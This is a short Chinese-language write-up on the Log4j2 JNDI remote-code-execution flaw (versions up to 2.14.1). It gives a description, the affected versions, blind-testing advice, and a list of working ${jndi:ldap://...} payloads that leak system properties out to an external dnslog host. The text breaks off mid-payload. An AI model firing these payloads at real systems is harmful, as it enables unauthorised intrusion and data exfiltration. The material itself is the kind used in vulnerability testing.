文章目录
漏洞介绍
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
影响范围:Apache Log4j 2.x<=2.14.1
poc
存在漏洞是因为在写日志的时候存在问题,所以对于黑盒测试而言,只要是能够被服务端获取且被记录的地方都是可以触发漏洞的,比如 header 中的 Cookie、User-agent 等,post 或者 get 的参数中,url 中等,这种只能盲打,根据返回结果来判断。
利用 dnslog 检测并外带数据
${jndi:ldap://${sys:os.name}.btcepgqfym.dnstunnel.run}
${jndi:ldap://${sys:os.arch}.btcepgqfym.dnstunnel.run}
${jndi:ldap://${sys:os.version}.btcepgqfym.dnstunnel.run}
${jndi:ldap://${sys:user.